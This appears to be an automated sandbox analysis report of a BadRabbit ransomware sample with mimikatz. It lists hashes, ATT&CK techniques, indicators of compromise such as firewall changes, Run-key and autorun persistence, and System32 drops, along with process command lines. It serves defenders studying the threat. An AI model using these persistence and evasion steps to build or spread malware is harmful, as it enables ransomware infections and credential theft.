badrabbit | 6ca11c8b6442db97c02f3b0f73db61f58c96d52e8a880e33abee5b10807d993f

Analysis

max time kernel
387s
max time network
966s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
26-04-2024 22:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ADZP 20 Complex.exe
Size

106KB
MD5

8b6a377f9a67d5482a8eba5708f45bb2
SHA1

7197436525e568606850ee5e033c43aea1c3bc91
SHA256

6ca11c8b6442db97c02f3b0f73db61f58c96d52e8a880e33abee5b10807d993f
SHA512

644e51798399168530b05e629b414dd80cac678bd3c8d4a5d164f55736a2b2fd380d3ca4640f7a034c8f043c06b1527b473e2d17da088d5e97de6ea04120dd72
SSDEEP

3072:v7DhdC6kzWypvaQ0FxyNTBfqMXERseQF8:vBlkZvaF4NTBSAesPF8

Score

10^/10

badrabbit mimikatz discovery evasion persistence ransomware spyware stealer

Malware Config

Signatures

BadRabbit
Ransomware family discovered in late 2017, mainly targeting Russia and Ukraine.
ransomware badrabbit
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

mimikatz is an open source tool to dump credentials on Windows 1 IoCs

resource	yara_rule
behavioral2/files/0x00070000000232c1-997.dat	mimikatz

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 31 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
11196	netsh.exe
10812	netsh.exe
6276	netsh.exe
10952	netsh.exe
12880	netsh.exe
6740	netsh.exe
10648	netsh.exe
13280	netsh.exe
9300	netsh.exe
5524	netsh.exe
12628	netsh.exe
9736	netsh.exe
8332	netsh.exe
6304	netsh.exe
6644	netsh.exe
1868	netsh.exe
8928	netsh.exe
6352	netsh.exe
12648	netsh.exe
8424	netsh.exe
5252	netsh.exe
8644	netsh.exe
10312	netsh.exe
12444	netsh.exe
4312	netsh.exe
8504	netsh.exe
10796	netsh.exe
7448	netsh.exe
7288	netsh.exe
11364	netsh.exe
6592	netsh.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 20 IoCs

pid	Process
212	BadRabbit.exe
980	CA51.tmp
3132	BadRabbit.exe
788	BadRabbit.exe
3908	BadRabbit.exe
1656	BadRabbit.exe
5136	BadRabbit.exe
4984	ADZP 20 Complex.exe
4284	ADZP 20 Complex.exe
1752	ADZP 20 Complex.exe
3944	Twain_20.dll
7672	ADZP 20 Complex.exe
8032	ADZP 20 Complex.exe
8176	ADZP 20 Complex.exe
8532	ADZP 20 Complex.exe
8572	ADZP 20 Complex.exe
8768	ADZP 20 Complex.exe
8912	ADZP 20 Complex.exe
8000	ADZP 20 Complex.exe
2196	ADZP 20 Complex.exe

Loads dropped DLL 6 IoCs

pid	Process
1796	rundll32.exe
3652	rundll32.exe
5880	rundll32.exe
2692	rundll32.exe
5564	rundll32.exe
5752	rundll32.exe

Modifies file permissions 1 TTPs 16 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
8516	takeown.exe
896	takeown.exe
8512	takeown.exe
10108	takeown.exe
9700	takeown.exe
9540	takeown.exe
5496	takeown.exe
6940	takeown.exe
9868	takeown.exe
12956	takeown.exe
6488	takeown.exe
844	takeown.exe
7380	takeown.exe
3124	takeown.exe
2516	takeown.exe
4896	takeown.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Twain_20 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Twain_20.cmd"	reg.exe

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
174	raw.githubusercontent.com
173	raw.githubusercontent.com

Drops autorun.inf file 1 TTPs 11 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Autorun.inf	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\Autorun.inf	attrib.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File created	C:\Windows\System32\Twain_20.dll	cmd.exe
File opened for modification	C:\Windows\System32\Twain_20.dll	cmd.exe
File opened for modification	C:\Windows\System32\Twain_20.dll	cmd.exe
File opened for modification	C:\Windows\System32\Twain_20.dll	cmd.exe
File opened for modification	C:\Windows\System32\Twain_20.dll	cmd.exe
File opened for modification	C:\Windows\System32\Twain_20.dll	cmd.exe
File created	C:\Windows\System32\Twain_20.dll	cmd.exe

Drops file in Windows directory 25 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File created	C:\Windows\cscc.dat	rundll32.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File opened for modification	C:\Windows\CA51.tmp	rundll32.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe
File created	C:\Windows\infpub.dat	BadRabbit.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File opened for modification	C:\Windows\infpub.dat	rundll32.exe
File created	C:\Windows\dispci.exe	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
12340	9876	WerFault.exe	829

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2164	schtasks.exe
1868	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 23 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5256	ipconfig.exe
5616	ipconfig.exe
5284	ipconfig.exe
6876	ipconfig.exe
1624	ipconfig.exe
10376	ipconfig.exe
7564	ipconfig.exe
6240	ipconfig.exe
8752	ipconfig.exe
9528	ipconfig.exe
8336	ipconfig.exe
5496	ipconfig.exe
1768	ipconfig.exe
6312	ipconfig.exe
6868	ipconfig.exe
5252	ipconfig.exe
8044	ipconfig.exe
10492	ipconfig.exe
1204	ipconfig.exe
10180	ipconfig.exe
7456	ipconfig.exe
10712	ipconfig.exe
12420	ipconfig.exe

Kills process with taskkill 17 IoCs

evasion

pid	Process
12596	taskkill.exe
6044	taskkill.exe
6436	taskkill.exe
6744	taskkill.exe
8260	taskkill.exe
10848	taskkill.exe
11972	taskkill.exe
8344	taskkill.exe
6044	taskkill.exe
3336	taskkill.exe
10492	taskkill.exe
10884	taskkill.exe
10876	taskkill.exe
10516	taskkill.exe
10856	taskkill.exe
10896	taskkill.exe
10868	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133586438874256308"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 23 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	calc.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
5412	chrome.exe
5412	chrome.exe
1796	rundll32.exe
1796	rundll32.exe
1796	rundll32.exe
1796	rundll32.exe
980	CA51.tmp
980	CA51.tmp
980	CA51.tmp
980	CA51.tmp
980	CA51.tmp
980	CA51.tmp
980	CA51.tmp
3652	rundll32.exe
3652	rundll32.exe
5880	rundll32.exe
5880	rundll32.exe
2692	rundll32.exe
2692	rundll32.exe
5564	rundll32.exe
5564	rundll32.exe
5752	rundll32.exe
5752	rundll32.exe
5112	mspaint.exe
5112	mspaint.exe
3552	mspaint.exe
3552	mspaint.exe
4760	mspaint.exe
4760	mspaint.exe
7964	mspaint.exe
7964	mspaint.exe
3956	mspaint.exe
3956	mspaint.exe
7980	mspaint.exe
7980	mspaint.exe
8564	mspaint.exe
8564	mspaint.exe
8904	mspaint.exe
8904	mspaint.exe
8948	mspaint.exe
8948	mspaint.exe
4696	mspaint.exe
4696	mspaint.exe
8560	mspaint.exe
8560	mspaint.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of SetWindowsHookEx 35 IoCs

pid	Process
5112	mspaint.exe
3552	mspaint.exe
5112	mspaint.exe
5112	mspaint.exe
5112	mspaint.exe
3552	mspaint.exe
3552	mspaint.exe
3552	mspaint.exe
4760	mspaint.exe
4760	mspaint.exe
4760	mspaint.exe
4760	mspaint.exe
5952	OpenWith.exe
668	OpenWith.exe
5824	OpenWith.exe
7964	mspaint.exe
7964	mspaint.exe
7964	mspaint.exe
7964	mspaint.exe
3956	mspaint.exe
3956	mspaint.exe
3956	mspaint.exe
3956	mspaint.exe
7984	OpenWith.exe
7980	mspaint.exe
7552	OpenWith.exe
7568	OpenWith.exe
8564	mspaint.exe
8904	mspaint.exe
8948	mspaint.exe
4696	mspaint.exe
8560	mspaint.exe
7980	mspaint.exe
7980	mspaint.exe
7980	mspaint.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 3688	1140	ADZP 20 Complex.exe	92
PID 1140 wrote to memory of 3688	1140	ADZP 20 Complex.exe	92
PID 3740 wrote to memory of 1856	3740	chrome.exe	107
PID 3740 wrote to memory of 1856	3740	chrome.exe	107
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 2560	3740	chrome.exe	108
PID 3740 wrote to memory of 744	3740	chrome.exe	109
PID 3740 wrote to memory of 744	3740	chrome.exe	109
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110
PID 3740 wrote to memory of 1876	3740	chrome.exe	110

Views/modifies file attributes 1 TTPs 16 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6900	attrib.exe
10948	attrib.exe
11204	attrib.exe
11160	attrib.exe
8612	attrib.exe
6816	attrib.exe
10028	attrib.exe
11064	attrib.exe
9168	attrib.exe
11148	attrib.exe
11140	attrib.exe
5252	attrib.exe
5220	attrib.exe
5500	attrib.exe
6852	attrib.exe
8448	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.exe
"C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.exe" taskkill /im conhost.exe /f
1⤵
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E128.tmp\E139.tmp\E13A.bat "C:\Users\Admin\AppData\Local\Temp\ADZP 20 Complex.exe" taskkill /im conhost.exe /f"
  2⤵
  - Drops autorun.inf file
  PID:3688

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffa4d29758,0x7fffa4d29768,0x7fffa4d29778
  2⤵
  PID:1856
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1804 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:2
  2⤵
  PID:2560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:744
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2248 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:1876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3176 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:3316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3184 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:2164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4720 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:1
  2⤵
  PID:5124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4884 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4996 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5164
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5184 --field-trial-handle=1900,i,16746159776013422890,17012697415622893908,131072 /prefetch:8
  2⤵
  PID:5356
- C:\Program Files\Google\Chrome\Application\chrome.exe
